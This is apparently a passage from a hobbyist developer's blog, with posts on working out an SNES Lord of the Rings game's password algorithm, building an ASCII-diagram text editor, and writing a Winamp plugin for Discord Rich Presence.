After trying many different passwords looking for patterns, I cracked the password algorithm. It was not too much more work to put it into a program in case other people run into the same issues.

I posted the program to Github https://github.com/clandrew/lotrpwcheck/ .

As for the ending itself it was pretty cool, there is a scene where you meet Galadriel and she shows you the mirror. Although they never released a Vol II for SNES, I can see the next one picking up where this one left off.

September 5th, 2019 at 1:49 am | Comments & Trackbacks (4) | Permalink

This might be an example of the old does it take longer to painstakingly solve a problem, or to create a tool to make it less painstaking?

I keep around a lot of ASCII art diagrams and charts-- some new, some carried forward from ancient times. For Aaezure Odyssey MUD, the game is played in ASCII and therefore so are all the in-game maps. In any case, sometimes there's a need to edit them by moving around regions of content. In a conventional text editor, this is a gigantic pain in the neck. Sometimes you can cheese it using special key characters with find-and-replace but it's not a great way to go through life.

I also thought that surely, there'd be an obvious choice for an already-existing text editor that supports this kind of diagramming function with moving around blocks of text. The best one I found was ASCIIFlow. I loved the UI of ASCIIFlow-- it's really cool and modern. However, it had a problem where the import/export was lossy. It'd take some characters, and replace them with other characters. Dealbreaker. Besides that, there's Emacs or vim but those tools haven't been part of my life thus far and I didn't care to investigate. And then there was one other option, Notepad++ which I knew to support column-based selections but there didn't appear to be a way to move around the blocks of text.

See I thought I could go through life without ever feeling motivated to make my own text editor. I've been liking the program, so while using it I added more features outside of what it was originally intended for-- supporting cut, paste, undo, and so forth. Besides the diagrams it's been good as a general purpose editor and I've already gotten a lot of mileage from that.

The program can be found on Github here.

February 26th, 2019 at 5:38 am | Comments & Trackbacks (0) | Permalink

I made a Winamp plugin that broadcasts what song you're playing as a Discord Rich Presence.

An uncommon scenario? Sure, although I'm not too worried about that. This idea of functionality came from the integration Spotify has with Discord right now, plus there are a lot of other interesting ways in which app developers are implementing Rich Presence.

The main challenges for this project were understanding not one flow of communication, but two; the Discord RPC API and Winamp plugin architecture. You figure out how to do one, then how to do the other, and then merge the result together. One thing I am grateful for is the fact that Winamp is debugger-friendly and can also be launched by a debugger without issue. There wasn't anything too gnarly that happened for this project but it helped to be able to step through some things- for example, the plugin configuration menu code-- to debug. There was one problem where DialogBox was being called with NULL instead of the proper module handle, and it would indeed create a dialog box but of an unexpected type. It helped to be able to step through and debug this.

What it looks like, in action:

The source + binary distributed through GitHub repository here: https://github.com/clandrew/wdrp

Problem solved!

January 20th, 2019 at 4:54 am | Comments & Trackbacks (0) | Permalink